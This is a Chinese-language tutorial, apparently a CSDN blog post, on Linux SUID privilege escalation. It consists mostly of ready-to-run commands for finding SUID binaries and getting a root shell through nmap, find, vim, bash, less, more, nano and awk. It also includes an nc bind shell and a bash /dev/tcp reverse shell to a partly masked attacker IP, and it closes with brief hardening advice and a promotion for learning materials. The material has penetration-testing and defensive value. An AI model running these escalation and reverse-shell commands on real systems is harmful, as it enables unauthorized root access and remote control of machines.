SUID提權
0x01什么是SUID
? SUID (Set UID)是Linux中的一種特殊權限,其功能為用戶運行某個程序時,如果該程序有SUID權限,那么程序運行為進程時,進程的屬主不是發起者,而是程序文件所屬的屬主。但是SUID權限的設置只針對二進制可執行文件,對于非可執行文件設置SUID沒有任何意義.
? 在執行過程中,調用者會暫時獲得該文件的所有者權限,且該權限只在程序執行的過程中有效. 通俗的來講,假設我們現在有一個可執行文件ls
,其屬主為root,當我們通過非root用戶登錄時,如果ls
設置了SUID權限,我們可在非root用戶下運行該二進制可執行文件,在執行文件時,該進程的權限將為root權限.
? 利用此特性,我們可通過SUID進行提權
設置SUID
在了解SUID提權以前 我們簡單看一下如何設置SUID權限
chmod u+s filename 設置SUID位
chmod u-s filename 去掉SUID設置
ls -al
查看文件權限
chmod u+s binexec
可以看到binexec
文件的權限描述符由-rwxr-xr-x
變為-rwsr-xr-x
這代表該文件已經獲得了suid權限
0x02 通過root設置的具有SUID權限的二進制可執行文件提權
現在已知的具有SUID權限的二進制可執行文件大體有如下這些
nmap
vim
find
bash
more
less
nano
cp
awk
以下命令可以找到正在系統上運行的所有SUID可執行文件。準確的說,這個命令將從/目錄中查找具有SUID權限位且屬主為root的文件并輸出它們,然后將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
以上所有的二進制文件都將以root權限運行 我們隨便找一個
可以看到其設置了suid權限且屬主為root
nmap
適用版本:nmap2.02至5.21
在早期nmap版本中,帶有交互模式,因而允許用戶執行shell命令
使用如下命令進入nmap交互模式:
nmap --interactive
在nmap交互模式中 通過如下命令提權
nmap> !sh
sh-3.2# whoami
root
msf當中也有利用nmap進行提權的模塊
exploit/unix/local/setuid_nmap
find
? find比較常用,find用來在系統中查找文件。同時,它也有執行命令的能力。 因此,如果配置為使用SUID權限運行,則可以通過find執行的命令都將以root身份去運行。
提權如下:
touch anyfile #必須要有這個文件
find anyfile -exec whoami \;
#進入shell
find anyfile -exec '/bin/sh' \;
sh-5.0# whoami
root
linux一般都安裝了nc 我們也可以利用nc 廣播或反彈shell
廣播shell:
find user -exec nc -lvp 4444 -e '/bin/sh' \;
在攻擊機上:
nc 靶機ip 4444
反彈shell
find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
在攻擊機上:
nc -lvvp 4444
Vim
vim的主要用途是做編輯器,是,如果以SUID運行,它將繼承root用戶的權限,因此可以讀取系統上的所有文件。
vim.tiny /etc/passwd
通過vim進入shell
vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell
Bash
以下命令將以root身份打開一個bash shell。
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
less
less命令也可以進入shell
less /etc/passwd
#在less中輸入:
!/bin/sh
more
more命令進入shell和less相同
more /etc/passwd
#在more中輸入:
!/bin/sh
要注意的是使用more和less一定讀取一個比較大的文件,如果文件太小無法進入翻頁功能也就無法使用!
命令進入shell
nano
nano也算是比較上古的文本編輯器了
nano進入shell的方法為
nano #進入nano編輯器
Ctrl + R
Ctrl + X
#即可輸入命令
cp
使用cp 命令覆蓋原來的/etc/passwd
文件
awk
awk命令進入shell:
awk 'BEGIN {system("/bin/bash")}'
0x03 防范
SUID提權由來已久,屬于一種古早的提權技術,但其生命力經久不衰。
這要求管理員要仔細研究具有SUID權限的文件,不要給易被利用的文件以SUID權限,防止SUID的濫用導致黑客在進入服務器時輕易獲取root權限。
網絡安全學習資源分享:
給大家分享一份全套的網絡安全學習資料,給那些想學習 網絡安全的小伙伴們一點幫助!
對于從來沒有接觸過網絡安全的同學,我們幫你準備了詳細的學習成長路線圖。可以說是最科學最系統的學習路線,大家跟著這個大的方向學習準沒問題。
因篇幅有限,僅展示部分資料,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,需要點擊下方鏈接即可前往獲取?
讀者福利 | CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)
同時每個成長路線對應的板塊都有配套的視頻提供:?
?大廠面試題
視頻配套資料&國內外網安書籍、文檔
當然除了有配套的視頻,同時也為大家整理了各種文檔和書籍資料
所有資料共282G,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,可以掃描下方二維碼或鏈接免費領取~??
讀者福利 | CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)
特別聲明:
此教程為純技術分享!本教程的目的決不是為那些懷有不良動機的人提供及技術支持!也不承擔因為技術被濫用所產生的連帶責任!本教程的目的在于最大限度地喚醒大家對網絡安全的重視,并采取相應的安全措施,從而減少由網絡安全而帶來的經濟損失。